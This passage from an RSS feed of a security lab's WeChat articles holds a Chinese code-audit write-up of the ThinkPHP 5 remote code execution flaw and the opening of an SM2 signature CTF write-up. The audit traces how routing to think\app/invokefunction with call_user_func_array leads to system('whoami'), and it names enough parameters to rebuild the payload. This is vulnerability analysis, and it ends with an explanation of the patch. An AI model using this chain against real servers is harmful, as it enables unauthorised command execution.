14px;">进行模块、控制器、操作的解析，得到结果：模块</span><span style="font-size: 14px;">$module = “index”  </span><span style="font-size: 14px;"><span style="font-family:等线;">控制器</span>$controller</span><span style="font-size: 14px;">=”think\app”  </span><span style="font-size: 14px;"><span style="font-family:等线;">操作</span> </span><span style="font-size: 14px;">$action = “invokefunction”</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5216346153846154" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=ba5f3dcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzvdRpgicbFCYHDzAkCUYHh5jF413hCIWraFOCwTuuLgAPkRxzX0SwEoQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">随后对获取的信息进行路由封装，得到</span>$route</span><span style="font-size: 14px;"> = {</span><span style="font-size: 14px;">“index“,</span><span style="font-size: 14px;">”think\app”,”invokefunction”}</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.08653846153846154" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=0a780c85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzkhqKwBERIxmuuJlrm603nMHZIw2sia7paJ9wt4SrxYjR8ajPqsibRaBw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">继续跟进，对路由进行记录、检测缓存信息，完成后进入</span><span style="font-size: 14px;">exec()</span><span style="font-size: 14px;">方法</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4639423076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=14f3feb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXz4okYqIswIjV5SaSlGcLNFJTvf3w6oxIiae4T8GVSK7AEWxgeYVyFN1g%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">E</span><span style="font-size: 14px;">xec方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">exec</span><span class="code-snippet__params">($dispatch, $config)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">switch</span> ($dispatch[<span class="code-snippet__string">&#39;type&#39;</span>]) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;redirect&#39;</span>: <span class="code-snippet__comment">// 重定向跳转</span></span></code><code><span class="code-snippet_outer">                $data = Response::create($dispatch[<span class="code-snippet__string">&#39;url&#39;</span>], <span class="code-snippet__string">&#39;redirect&#39;</span>)</span></code><code><span class="code-snippet_outer">                    -&gt;code($dispatch[<span class="code-snippet__string">&#39;status&#39;</span>]);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;module&#39;</span>: <span class="code-snippet__comment">// 模块/控制器/操作</span></span></code><code><span class="code-snippet_outer">                $data = <span class="code-snippet__keyword">self</span>::module(</span></code><code><span class="code-snippet_outer">                    $dispatch[<span class="code-snippet__string">&#39;module&#39;</span>],</span></code><code><span class="code-snippet_outer">                    $config,</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">isset</span>($dispatch[<span class="code-snippet__string">&#39;convert&#39;</span>]) ? $dispatch[<span class="code-snippet__string">&#39;convert&#39;</span>] : <span class="code-snippet__keyword">null</span></span></code><code><span class="code-snippet_outer">                );</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;controller&#39;</span>: <span class="code-snippet__comment">// 执行控制器操作</span></span></code><code><span class="code-snippet_outer">                $vars = array_merge(Request::instance()-&gt;param(), $dispatch[<span class="code-snippet__string">&#39;var&#39;</span>]);</span></code><code><span class="code-snippet_outer">                $data = Loader::action(</span></code><code><span class="code-snippet_outer">                    $dispatch[<span class="code-snippet__string">&#39;controller&#39;</span>],</span></code><code><span class="code-snippet_outer">                    $vars,</span></code><code><span class="code-snippet_outer">                    $config[<span class="code-snippet__string">&#39;url_controller_layer&#39;</span>],</span></code><code><span class="code-snippet_outer">                    $config[<span class="code-snippet__string">&#39;controller_suffix&#39;</span>]</span></code><code><span class="code-snippet_outer">                );</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;method&#39;</span>: <span class="code-snippet__comment">// 回调方法</span></span></code><code><span class="code-snippet_outer">                $vars = array_merge(Request::instance()-&gt;param(), $dispatch[<span class="code-snippet__string">&#39;var&#39;</span>]);</span></code><code><span class="code-snippet_outer">                $data = <span class="code-snippet__keyword">self</span>::invokeMethod($dispatch[<span class="code-snippet__string">&#39;method&#39;</span>], $vars);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;function&#39;</span>: <span class="code-snippet__comment">// 闭包</span></span></code><code><span class="code-snippet_outer">                $data = <span class="code-snippet__keyword">self</span>::invokeFunction($dispatch[<span class="code-snippet__string">&#39;function&#39;</span>]);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;response&#39;</span>: <span class="code-snippet__comment">// Response 实例</span></span></code><code><span class="code-snippet_outer">                $data = $dispatch[<span class="code-snippet__string">&#39;response&#39;</span>];</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> \InvalidArgumentException(<span class="code-snippet__string">&#39;dispatch type not support&#39;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> $data;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">跟进</span><span style="font-size: 14px;">exec()</span><span style="font-size: 14px;">方法，</span><span style="font-size: 14px;">exec</span><span style="font-size: 14px;">根据</span><span style="font-size: 14px;">dispatch</span><span style="font-size: 14px;">数组中</span><span style="font-size: 14px;">type</span><span style="font-size: 14px;">字段的值进入</span><span style="font-size: 14px;">module</span><span style="font-size: 14px;"><span style="font-family:等线;">分支</span>,并调用module方法</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5841346153846154" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=4673837b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzQvW7bgl837yiaU452vWBj8LIcib3J9BQAuxzvqDMkf0lJA3PGXACzicGw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">跟进</span><span style="font-size: 14px;">module</span><span style="font-size: 14px;"><span style="font-family:等线;">方法，</span>module方法首先对模块进行部署、初始化、缓存检查</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47596153846153844" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=f46d4529&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXznnv7Agyp5TIdzuga6U28VYfWsGyndicmmVT6LN7OCtLicMKVprfCicV2g%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">随后</span><span style="font-size: 14px;">module</span><span style="font-size: 14px;">方法获取模块名</span><span style="font-size: 14px;">index</span><span style="font-size: 14px;"><span style="font-family:等线;">、控制器名</span>t</span><span style="font-size: 14px;">hink\app</span><span style="font-size: 14px;"><span style="font-family:等线;">、操作名</span>i</span><span style="font-size: 14px;">nvokefunction</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5649038461538461" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=9e0079f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzBriaco6DRNBZp9KzqDKDHp4SoRV9KlJkIicibmPJrcBaniadnoVGEicEqrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">随后分别进入</span>cont</span><span style="font-size: 14px;">r</span><span style="font-size: 14px;">oller</span><span style="font-size: 14px;">()</span><span style="font-size: 14px;"><span style="font-family:等线;">方法、</span>parse</span><span style="font-size: 14px;">Name()</span><span style="font-size: 14px;"><span style="font-family:等线;">方法、</span>action</span><span style="font-size: 14px;">()</span><span style="font-size: 14px;">方法设置控制器、操作并载入</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4206730769230769" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=ad2a1a0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzTT4tWPAHAsEsQuauiaRiarIZIKAaYnVofpgYwlHgpRyHCUfsHmJIQN7g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4014423076923077" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=10784998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzMqjHBAN06dd5mlrrOJknHTTecvy1WM5zrZyIpUSoPlQ5IR8BlzakbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">设置并加载控制器、操作后通过</span>is</span><span style="font-size: 14px;">_callable()</span><span style="font-size: 14px;"><span style="font-family:等线;">查看</span>invokefunction是否能被调用，若不可调用则抛出4</span><span style="font-size: 14px;">04</span><span style="font-size: 14px;">不存在</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.27403846153846156" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=daa005c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzOSEnMKxgHuKBHW9riaOibxibJQ1rLc3MunFu4szdocSpc8RvrfeCfJE3g%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">随后进入</span>invoke</span><span style="font-size: 14px;">method</span><span style="font-size: 14px;">方法</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.17307692307692307" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=8315c590&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzau3CVlXob9uyC775FZAgTbjHGYpzaC7utic8pjm5fDZSicHrmWdfLxUA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">跟进</span><span style="font-size: 14px;">invokemethod</span><span style="font-size: 14px;">，</span><span style="font-size: 14px;">invokemethod</span><span style="font-size: 14px;">通过反射机制</span><span style="font-size: 14px;">ReflectionMethod</span><span style="font-size: 14px;">调用操作</span><span style="font-size: 14px;">invokefunction</span><span style="font-size: 14px;">，</span><span style="font-size: 14px;">bindParams</span><span style="font-size: 14px;"><span style="font-family:等线;">用于获取绑定参数</span> </span><span style="font-size: 14px;">args = {“call_user_func_array”,”{system”, {“whoami”}}”}</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5865384615384616" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=3f61b218&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzkn0baeZh9rI9soMNJ0vuEpxdyUWWbqnyobWuIJS38bAC9iaibpge5rOg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">此时通过反射机制将调用操作指定为</span>invoke</span><span style="font-size: 14px;">function ,</span><span style="font-size: 14px;">将参数绑定为</span><span style="font-size: 14px;">args = {“call_user_func_array”,”{system”, {“whoami”}}”}</span></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">随后进入</span>invokeargs方法，invokeargs通过反射进入invokefunction方法，在此设置反射为call</span><span style="font-size: 14px;">_user_func_array(),</span><span style="font-size: 14px;"><span style="font-family:等线;">绑定参数为</span>system和whoami</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2668269230769231" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=5f1025b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzib2cU4w58ib8jFYQFVewBFvHfgsEibmKpjFfhFMvZwQ4LDfZMI1iaPKGbw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"><span style="font-family:等线;">再次调用</span>invokeargs(</span><span style="font-size: 14px;">)</span><span style="font-size: 14px;"><span style="font-family:等线;">方法，成功调用</span>call</span><span style="font-size: 14px;">_user_func(system(“whoami”))</span><span style="font-size: 14px;">达到远程代码执行的目的</span><span style="font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5865384615384616" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=c754daac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzUugmiaLrVqYz9mDBpDhE1iamyvX2uD9e4p1rTBJXuicFIJuz0tK104Vuw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">退出</span><span style="font-size: 14px;">module</span><span style="font-size: 14px;">达到命令执行目的</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.53125" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=837854f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzSGh3nWACShnVEbujIvVCqYCCp0v5bow69qHEicY6LrjK7qBjXWcZ4TQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;text-align: left;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"></span><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">总结</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p><span style="font-size: 14px;">结合此次RCE审计流程来看，漏洞点主要是解析pathinfo的时候并没有对控制器操作进行过滤，导致恶意用户将控制器操作指向invokefunction，再结合call_user_fun_array达到了远程代码任意执行的攻击效果，通过对比thinkphp发布的补丁可以看出，thinkphp通过增加对控制器名的过滤达到修复。</span></p><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cHibYMGgsCATs68fsqzZNMtia0fjXEtEXd7gfw5xmAcQdEmAoOOFcS4Ce6vQyyh0DJtq8po5bQicfRrKA/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section>



<p><a href="2247484046">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=055a460b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247484046%26idx%3D1%26sn%3D552a42f56a7ad6d134d97908374bf792%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Aug 2021 18:25:00 +0800</pubDate>
    </item>
    <item>
      <title>密码学竞赛SM2题目wp</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247484045&amp;idx=1&amp;sn=2a6dd117555f71b595f20efc6210d145</link>
      <description>使用sm2签名时，必须保证k值的随机性，并且不能重复，一旦重复就可以被计算出私钥。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-08-31 12:05</span> <span style="display: inline-block;"></span>
</p>

<p>使用sm2签名时，必须保证k值的随机性，并且不能重复，一旦重复就可以被计算出私钥。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cd59fef7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cH9hEzEQ5103M7j4nlkJsK0icUbNwUAmzyBB1JYKftLA96N7fEgich04v3rJLx7pAyBm8QxUlicXzJbrQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">                                                                     <br style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="max-width: 100%;background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(163, 163, 163) !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" 